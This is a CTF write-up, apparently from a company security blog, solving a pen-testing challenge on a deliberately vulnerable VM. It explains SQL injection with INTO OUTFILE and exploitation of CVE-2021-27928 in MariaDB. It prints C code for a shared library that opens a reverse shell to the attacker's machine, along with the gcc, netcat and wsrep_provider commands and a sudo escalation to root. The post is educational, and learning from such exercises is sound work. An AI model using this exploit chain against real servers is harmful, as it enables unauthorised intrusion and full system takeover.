How our Security team solved a Central InfoSec CTF challenge

Central InfoSec CTF challenge

Asana takes security seriously, and our Security team also knows how to have fun. When we shifted to working remotely during the pandemic, we wanted to create space to continue to socialize and have fun with our team. We started a tradition of having a monthly “fun” activity—from playing classic board games, to video games, to even painting together. Last month, we chose to participate in the Central InfoSec Capture-The-Flag hacking event. After the competition is over, teams often share their solutions to some of the trickier problems in the CTF. Take a look at how our team (“Team Yeti”) solved two of the pen testing challenges, or pwn challenges, together: “Hack Not Root” and “Hack Root”. 

What is a CTF?

A CTF is an information security (InfoSec) hacking contest in which teams compete to build their security skills through hands-on activities that lead them to flags that are worth points. A flag is a secret code word that is revealed when you solve a challenge. The team with the most points at the end of the competition wins. The activities run the gamut: game show-style InfoSec questions, reverse-engineering code, solving cryptographic puzzles, and simulated penetration testing (“pen testing”), which means attempting to hack into a network, application, or system set up by the CTF’s organizers.

How the challenge began 

The pen testing challenges began with a mysterious link: a “VULNERABLE VM DOWNLOAD: CIS-WEBSRV01”. We navigated through a series of challenges that led us through configuring the VM, setting it up, and discovering some of the software and systems already installed on the VM. True to its name, the VM was running multiple web servers, FTP instances, a MySQL instance, and various other kinds of software.

The previous challenges had left us the trail of breadcrumbs we needed for “Hack Not Root” and “Hack Root.” We got access to an unprivileged account over ssh (creatively named “ssh“). We had also found a mysql server on the system running on the default port 3306, and had managed to log into the mysql application with the username root and no password. For these challenges, we needed to gain access to the “tc” and “root” system accounts respectively (which are separate from the mysql accounts of the same name), and needed to be able to execute commands as these users.

First thing’s first: Reconnaissance. We needed to know what was on the system to know how to hack it. Using our ssh access to the ssh account, we ran the ps aux command to list the processes running as the tc user:

ssh@CIS-WEBSRV01:~$ ps aux | grep ‘ tc ’
1534 tc {mysqld_safe} /bin/sh /usr/Local/mysql/bin/mysqld_safe --datadir=/home/tc/mysql/data --socket=/tmp/mysql.sock --pid-file=/tmp/ 
1707 tc /usr/Local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir= /home/tc/mysql/data --plugin-dir=/usr/Local/mysql/lib/plugin --log-error=/home/tc/mysql/data/CIS-WEBSRV01.err --pid-file=/tmp/ --socket=/tmp/mysql.sock 
1841 ssh grep tc 

Note: A wget process, triggered every 5 minutes by a cron job, was also running as  tc. It was relevant to a different problem in the CTF, but we didn’t see an obvious way to exploit wget to hack tc.

It was clear that mysql presented our primary attack surface. Since mysql was running as tc, we could escalate our own privileges to tc by hacking into mysql and executing commands on its behalf – as tc.

Our first attempt

To attack MySQL, we first turned to its infamous SELECT ... INTO OUTFILE command that has made InfoSec history as an easily-exploited vulnerability. 

In the 2000s and 2010s, a popular technology for hosting websites was the so-called LAMP stack – a Linux operating system, an Apache HTTP server, a MySQL database, and PHP for server-side scripting. A common exploit strategy at the time was to look for text fields in the website that were vulnerable to SQL injection: if the PHP application didn’t sanitize user input to remove SQL queries or code (using something like mysqli_real_escape_string), or used raw query strings instead of a prepared statement-based API, a skilled intruder essentially had full access to the database’s permissions and contents. 

These SQL injection vulnerabilities were most exploitable when accompanied by overly generous permissions for the default MySQL user. If the administrator had not removed FILE permissions from this user, and the web directory was writable, the intruder could use the INTO OUTFILE SQL clause to create a .php file with the contents of their choosing. Visiting that newly created PHP file’s page on the web would then execute the intruder’s php code on the server, allowing them to take full control of the machine. This attack could turn benign text fields into full-access backdoors.

We launched a similar attack, and asked MySQL to output the results of a SELECT query to a PHP file. We carefully chose the directory we asked MySQL to write the file to. We needed to break into a directory writable by tc, and we also needed the directory to be configured to execute PHP files. 

The two apache web-root directories we’d found while working on other challenges were good candidates – we knew from previous challenges that php scripting had been enabled in apache. We were hoping that apache (and by extension php) was running as root. Using our unprivileged ssh access to run ls -lah, we discovered that one of these web accessible directories was owned by tc. Cha-ching!  We injected code into a SELECT command, and instructed mysql to output the results as a PHP file to


Alas, no dice. We discovered that apache was instead running as the user nobody, and not tc or root – and so our PHP file ran without the escalated privileges we were hoping for. 

We might have been able to escalate privileges by creating another file of some kind, but we couldn’t think of anything obvious.

Trying another approach

We next thought to check the version of mysql running on the webserver – crossing our fingers and hoping for one with an easily-exploitable vulnerability.

| VERSION()       |
| 10.4.11-MariaDB |
1 row in set (0.00 sec)

We searched for this version of MariaDB, 10.4.11, in the “Common Vulnerabilities and Exposures” (CVE) database – a key resource for any InfoSec professional – and found the critical CVE-2021-27928 vulnerability. This particular MariaDB version allows users with SUPER mysql privileges to make runtime changes to the global mysql variable wsrep_provider – which points to a shared object that mysql attempts to load with dlopen(). If wsrep_provider is changed during runtime, MariaDB re-loads the .so file! 

While MariaDB complains if the library doesn’t expose the APIs it expects, it can’t abort the execution before running all the functions marked as constructors – which dlopen() runs by default. The upshot? A user with SUPER privileges can essentially execute arbitrary code as the user mysql runs as.  

We got to work on building our wsrep_provider impersonator. On our own machine (not on the VM), we created a shared library file (the equivalent of a .dll for our Windows-loving readers) that would spawn a “reverse shell” immediately after it was instantiated – a shell session established over a connection initiated from the VM (rather than the remote user, as is the case with SSH). We hardcoded the reverse shell to connect to our machine’s IP and an arbitrarily chosen port. Whichever user executed this shared library function on the VM would essentially give us access to an interactive shell with that user’s permissions. Voila! 

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define REMOTE_ADDR "" // This was our IP address
#define REMOTE_PORT 4005 // A hardcoded port that we selected on our machine

// Mark this function a constructor, so it loads immediately
// upon dlopen()
static void __attribute__ ((constructor)) \

static void lib_init(void) {
    // Fork so we don't mess up the MariaDB process
    if (fork() != 0 ) {

    // Open a TCP connection back to attacker at
    struct sockaddr_in sa;
    int s;
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));

    // Hook up our process's stdin, stdout and stderr to the
    // TCP connection we just opened
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    // Now that stdin, stdout and stderr is hooked up,
    // replace the current process with /bin/sh so our
    // TCP connection is hooked up to the new shell.
    char *newargv[] = { "/bin/sh", NULL };
    char* env[] = {NULL};
    execve("/bin/sh", newargv, env);

We compiled our “wsrep provider” with gcc: gcc exploit.c -fPIC -shared  -o  (We were compiling on x86-64 linux, the same as our target; if you were cross compiling you would need additional arguments.) The -fPIC flag made the library relocatable, so that it could be used as a dynamically linked object. 

We used our ssh access to the ssh user to transfer our .so shared library file to the VM. As simple as scp! 

scp ssh@

To prepare for the exploit, we launched a netcat instance on our machine to listen for the connection request from our VM’s reverse shell.

nc -v -l 4005

Note: You would need to add the -p flag if you were using GNU netcat instead of BSD netcat.

We then reconnected to the VM’s mysql instance, and launched the exploit. We loaded our compiled .so file as the implementation of our wsrep provider. MariaDB  loaded the shared library object and executed the constructor function:

mysql -u root -h
SET GLOBAL wsrep_provider="/tmp/";

MariaDB complained about how poorly implemented our wsrep provider was, but not before running the constructor and spawning a reverse shell for the user mysql was running as – the fallen tc. They put up a good fight.

Back in the shell on our own machine, we watched: the nc process connected to an interactive remote shell. A quick run of ls and id confirmed that our plan had worked, and we now had full access to the tc user!

From there, getting access to root was a cakewalk. Since tc was allowed to use sudo, we ran sudo /bin/su. The id command again confirmed our escalated privileges. We then decided to use our newfound privileges to remotely write “I AM ROOT!” on the VM’s login screen.

And thus we solved the problem!

Join the fun

This was a fun experience and we ended up coming in third place. Most of our team hadn’t participated in a CTF before, and the mix of skills on the team created a valuable learning and bonding opportunity for us all. It was also exciting and refreshing to use our security skills in a slightly different way, and get on the “other side” for a moment – disarming rather than securing a system. Thank you to Central InfoSec for putting the contest together!

Last of all, we’re hiring! If solving challenges like this one sounds fun and you want to learn more about the impact the Security team has at Asana, check out our open positions.

Special thanks to Central InfoSec for hosting the contest

Would you recommend this article? Yes / No